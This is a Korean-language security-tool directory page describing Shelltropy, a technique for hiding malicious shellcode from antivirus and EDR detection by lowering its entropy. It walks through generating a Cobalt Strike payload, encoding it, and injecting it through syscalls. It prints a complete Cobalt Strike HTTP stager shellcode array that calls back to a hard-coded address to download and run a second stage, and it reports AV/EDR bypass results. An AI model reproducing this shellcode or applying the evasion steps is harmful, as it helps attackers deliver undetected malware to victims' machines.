Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Shelltropy — Shannon 인코딩을 통해 악성 셸코드를 은닉하는 기술. | Kitploit
도구/GitHubGitHub/kleiton0x00/shelltropy
ExploitationShellcodeMalware AnalysisPayload Development
GitHubkleiton0x00/shelltropy

Shelltropy

Shannon 인코딩을 통해 악성 셸코드를 은닉하는 기술.

저장소 보기웹사이트
270343년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Shelltropy

더 예측 가능할수록, 탐지될 확률은 낮아집니다

셰넌 인코딩을 통해 낮은 엔트로피를 기반으로 악성 셸코드를 은닉하는 기법입니다.

엔트로피는 데이터(여기서는 셸코드) 집합의 무작위성을 측정한 값입니다. 엔트로피가 높을수록 데이터가 더 무작위적입니다. 셰넌 엔트로피는 0에서 8 사이의 결과를 생성하는 알고리즘으로, 8은 데이터에 패턴이 없어 매우 무작위적임을 의미하고, 0은 데이터가 패턴을 따른다는 것을 의미합니다.

참고: 제 연구와 간단한 바닐라 셸코드 인젝션 PoC에 대한 자세한 설명은 블로그 게시물을 확인하세요.

설정

이 저장소를 클론합니다:
git clone https://github.com/kleiton0x00/Shelltropy.git

인코더의 경우:
새 Visual Studio 프로젝트를 만들고 Entropy.h와 shannonEncode.cpp를 모두 가져온 후 빌드하기만 하면 됩니다.

셸코드 인젝션 PoC(시스콜 사용)의 경우:
/Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj에 있는 Visual Studio 프로젝트 파일을 열고 빌드하기만 하면 됩니다.
참고: WinAPI를 사용하는 간단한 셸코드 인젝션 PoC를 원한다면 블로그를 확인하세요.

디코더의 경우(셸코드 인젝션 PoC에 포함되어 있으므로 선택 사항):
새 Visual Studio 프로젝트를 만들고 shannonDecode.cpp를 가져온 후 빌드하기만 하면 됩니다.

사용 방법

  • Cobalt Strike를 실행하고 Windows 실행 파일(Stageless 또는 non-stageless, 선택)을 생성합니다. 출력 형식이 Raw인지 확인하고 payload.bin으로 저장합니다.
    generateCSShellcode
  • shellcodeFormatter.py를 실행하고 출력을 복사합니다.
root@kitploit:~
$ python3 shellcodeFormatter.py 
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};
  • shannonEncoder.cpp(10번째 줄)의 셸코드를 python 파일에서 생성한 셸코드로 바꿉니다.
  • 생성된 저엔트로피 셸코드는 Visual Studio 프로젝트 /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj에서 사용할 수 있습니다.

PoC 작동 방식

개념은 배열을 청크로 나누고 각 청크 사이에 저엔트로피 바이트 패턴을 삽입하는 것입니다. 샘플이 실행될 때, 이 단계에서 높은 엔트로피 코드의 정적 탐지를 우회하면서 원래 페이로드를 메모리에서 재구성해야 합니다. 또한 삽입될 저엔트로피 코드는 다양한 패턴을 따를 수 있으며 삽입 횟수도 달라질 수 있으므로 정적 시그니처 탐지를 우회하는 데 사용될 수 있습니다. 두 번째 단계는 높은 엔트로피 바이트 청크를 낮은 엔트로피 청크와 결합하는 것입니다. 결국, 디-난독화 단계로 진행하기 위해 난독화된 코드를 원래 상태로 복원해야 하므로, 세 번째 작업은 저엔트로피 패턴을 제거하여 원래 바이트 배열을 복원합니다.

poc_logic_flow

데모

vs_build

엔트로피 결과

참고: 다음 결과는 CS 셸코드로만 테스트되었습니다.

~ 기본 Cobalt Strike 셸코드(원시)
(높은 엔트로피) 일반: 7.062950
(낮은 엔트로피) 인코딩됨: 4.527140

~ XOR 처리된 Cobalt Strike 셸코드
(높은 엔트로피) 일반: 4.583139
(낮은 엔트로피) 인코딩됨: 3.278284

AV/EDR 스캔 결과

시스콜(Syswhispers2)과 통합된 기본 CS 셸코드의 높은 엔트로피(왼쪽) 대 낮은 엔트로피(오른쪽):
results-side-by-side

단점

인코딩 중에 셸코드 크기가 2배 더 커지므로 블루 팀/악성코드 분석가가 이러한 인코딩된 셸코드를 더 쉽게 탐지할 수 있습니다.

크레딧

셸코드 인젝션 템플릿(Syscalls2 사용)은 다음 프로젝트에서 복사되었습니다: https://github.com/m0rv4i/SyscallsExample

도구 다운로드